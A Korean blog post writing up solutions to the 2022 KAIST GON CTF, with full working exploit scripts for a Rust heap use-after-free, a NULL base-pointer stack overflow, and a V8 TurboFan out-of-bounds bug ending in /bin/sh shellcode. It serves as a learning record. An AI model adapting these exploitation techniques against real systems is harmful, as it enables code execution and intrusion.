2022 Kaist GON CTF

sangjun

·

2022. 3. 23. 20:40

반응형

과제때매 시간이 없지만...오랜만에 재밌는 CTF봐서 라업 좀 써놓는다.

좋은 문제들 많았으니 나중에 참고할 때를 위해..

 

아직 뉴비인만큼 아아 받아올 정도의 순위는 아직이다..

 

 

 


1. Oxidized - Rust Pwnable

oxidized.zip
4.03MB

- 요약 
1. 이렇게 입력하여 노드 1개를 추가하면 싱글 링크드 리스트 꼴로 힙이 잡힌다.

2. free시에는 저 리스트를 따라 차례대로 free한다.

3. 맨 아래 0x30사이즈 힙은 free되지 않은채 UAF를 가지고 있다.

4. 싱글리스트의 힙 구조를 기억해보면 linked list -> next를 덮으면 원하는 주소를 free가능하다.

5. 새로운 노드를 할당하면 저 위치에 linked list->next위치에 드가게 된다.

6. aaw와 aar가 생긴것이므로  Fastbin을 double free하여 free_hook을 덮고 exploit한다.

 

 

from pwn import *

context.log_level='debug'
#p=process("./chal",env={"LD_PRELOAD":"./libc.so.6"})
p=remote("host1.dreamhack.games",21094)

def insert(key,value,size=1,string='n'):
    p.sendlineafter(">>","1")
    p.sendlineafter(">>",str(key))
    p.sendlineafter(">>",string)
    if string=='Y':
        p.sendlineafter(">>",str(size))
    p.sendlineafter(">>",value)

def delete(key):
    p.sendlineafter(">>","4")
    p.sendlineafter(">>",str(key))

def update(key,value,size):
    p.sendlineafter(">>","3")
    p.sendlineafter(">>",str(size))
    p.sendlineafter(">>",value)

def view():
    p.sendlineafter(">>","5")
    p.recvuntil("---------------------\n")

## heap leak ##
insert(1,"1234123"*2,0x1)
delete(1)
view()
leak=int(p.recvuntil("-")[:-2])
heap_base=leak-0x51f0
#libc leak
insert(4,p64(1)+p64(heap_base+0x2c8),1,string='Y')#원하는 위치 free가능
view()
p.recvuntil("-> ")
leak=int(p.recvline()[:-1])
libc_base=leak-0x3ec680
log.critical(f"heap base = {hex(heap_base)}")
log.critical(f"libc base = {hex(libc_base)}")
target=libc_base+0x3ebc2d-0x10
#print(pidof(p)[0])
# arbitrary free #
insert(22,"1234123"*2,0x1)
delete(22)
insert(23,p64(22)+p64(heap_base+0x5990),1,string='Y')#원하는 위치 free가능


for i in range(30,30+14):
    insert(i,"B"*(0x60-1),1,string='Y')

for i in range(30,30+9):
    delete(i)

delete(22)
insert("99",p64(target)*(0x50//8)+b"B"*8,1,string='Y')
insert("100",p64(target)*(0x50//8)+b"B"*8,1,string='Y')
insert("101",p64(target)*(0x50//8)+b"B"*8,1,string='Y')

log.critical(f"libc base = {hex(libc_base+0x10a41c)}")
pause()
insert("102",b"A"*0x3+p64(libc_base+0x10a41c)*2+b"B"*(0x60-0x3-0x10),1,string='Y')

p.interactive()

 

 

2. Null Null - based pointer overwrite

NULL.zip
0.00MB

- RBP가 NULL로 덮여 OOB취약점까지 갈 수 있다.

- 1/16확률로 스택 레이아웃이 변해 확률적 익스다. 

- OOB[0]에 립씨가 걸릴때까지 하면 OOB로 RIP까지 컨트롤 가능하다.

from pwn import *

#context.aslr=False
def debug():
    print(pidof(p)[0])
    pause()
#p=process("./nullnull",env={"LD_PRELOAD":"/sharing/libc.so.6"})
p=remote("host2.dreamhack.games",13015)
#debug()
p.sendline(b"1")
#p.sendline(b"A"*10+b"\x00"*(60)+b"C"*10)
p.sendline(b"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj")
p.recvuntil("aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj\n")
#p.sendline(b"2")
#p.sendline(b"0")
#p.sendline(b"4222425088")
p.sendline(b"3")
p.sendline(b"0")

leak=str(p.recvline()[:-1])
#if "4222429319" not in leak:
#    p.close()

log.critical(f"{leak}")


p.sendline(b"0")

p.sendline(b"0")

p.sendline(b"1")
p.sendline(b"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj")

p.sendline(b"3")#libc leak
p.sendline(b"41")
p.recvuntil("aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj\n")
log.critical(f"{p.recvline()}")


leak=int(input(),16)
base=leak-0x240b3
system=base+0x522c0
sh=base+0x1b45b0+13
pop_rdi=base+0x0000000000023b72
print(f"system = {system}")
print(f"pop rdi = {pop_rdi}")
print(f"syh = {sh}")
print(f"base = {hex(base)}")


p.sendline(b"0")
p.sendline(b"1")
p.sendline(b"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjj")


p.interactive()
'''
p.sendline(b"2")
p.sendline(b"7")
p.sendline(p64(pop_rdi))


p.sendline(b"2")
p.sendline(b"8")
p.sendline(p64(sh))

p.sendline(b"2")
p.sendline(b"9")
p.sendline(p64(pop_rdi+1))

p.sendline(b"2")
p.sendline(b"10")
p.sendline(p64(system))

p.sendline("666")
'''
p.interactive()

 

3. baby-turbofan - V8 engine Exploit, pointer compression

- foo(0) foo("0") foo(-0)를 해보면 취약점이 보인다.

- Object.is(Math.expm1(-0),-0)에 대해 false가 나와야하는데 true가 나와서 OOB까지 이어진다.

- OOB로 wasm_instance의 오프셋을 구하고 float_array의 elements를 덮어서 aar를 만들어낸다.

- wasm_instance주변을 읽을 수 있는데 float_array의 length까지 조작해 wasm_instance주변에 있는 쉘코드 주소를 읽어낸다.

- 다시 OOB로 backing_store를 shellcode주소로 덮고 쉘코드 작성 후 exploit

var buf=new ArrayBuffer(8);
var f64_buf=new Float64Array(buf);
var u64_buf=new Uint32Array(buf);

function ftoi(val){
	f64_buf[0]=val;
    return BigInt(u64_buf[0])+(BigInt(u64_buf[1])<<32n);
}

function itof(val){
	u64_buf[0]=Number(val&0xffffffffn);
    u64_buf[1]=Number(val>>32n);
    return f64_buf[0];
}


var oob=0;

function foo(x){
	let a=[1.1,2.2,3.3,4.4,5.5];
	let b=[1.1,2.2,3.3,4.4];
	let c={c:-0};
	let d=Object.is(Math.expm1(x),c.c);


	oob=b;
}

foo(0);
for(let i=0;i<100000;i++){foo("0");}

foo(-0);
function bar(x){
	let a=[1.1,2.2,3.3,4.4,5.5];
	let b=[1.1,2.2,3.3,4.4];
	let c={c:-0};
	let d=Object.is(Math.expm1(x),c.c);
	oob=b;

	var overwrite=oob[d*5]&0xffffffff;

	return oob[d*5]=oob[d*5]+itof(0x8888800000000n);
}

bar(0);
for(let i=0;i<100000;i++){bar("0");}
bar(-0);

var obj={"A":1};
var obj_arr=[obj];
var float_arr=[1.1,2.2,3.3,4.4];


var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

obj_arr[0]=wasm_instance;
var wasm_addr=ftoi(oob[24])&0xffffffffn;
var overwrite=((wasm_addr+4n+4n+8n)<<32n)+0x2261n;
var overwrite2=0x601500000088n;

oob[30]=itof(overwrite);
oob[31]=itof(overwrite2);

console.log("wasm "+wasm_addr.toString(16));
console.log("over write"+overwrite.toString(16));


var rwx=ftoi(float_arr[9])
console.log("rwx "+rwx.toString(16));

var buf1=new ArrayBuffer(0x600);
var dataview1=new DataView(buf1);
dataview1.setUint32(4, 0x41414141, true);
obj_arr[0]=buf1;
var buf1_addr=ftoi(oob[24])&0xffffffffn;
console.log("buf addr "+buf1_addr.toString(16));


oob[250]=itof(rwx);

var shellcode=[0x48ff3148,0x3148f631,0xc03148d2,0x2fbb4850,0x2f6e6962,0x5368732f,0xb0e78948,0x90050f3b];
for (let i = 0; i < shellcode.length; i++) 
{
	dataview1.setUint32(4*i, shellcode[i], true);
}
f();
##END_OF_FILE##

 

 

4. CS448 - Crypto

- (랜덤값+입력값)%0xff= enc

- enc ^ 플래그의 1바이트 = 결과값

- enc는 0~0xfe까지 나올 수 있다. 플래그 1바이트는 모르는 숫자다.

- 오직 결과값만 가지고 플래그를 알아내야한다.

- 크립토 하는 분들 천잰가

반응형

'War Games > ctf-review' 카테고리의 다른 글

[ AngstromCTF 2022 ] CTF 딱 1년 차  (2) 2022.05.05
[ H4C Game ] 웹 풀어보기  (0) 2022.03.26
2022 Kaist GON CTF  (0) 2022.03.23
코드게이트 2022라업 VIMT  (0) 2022.02.28
[ CSAW CTF 2021 ] word_games  (0) 2021.09.13
[ CSAW CTF 2021 ] procrastination-simulator  (0) 2021.09.13

0개의 댓글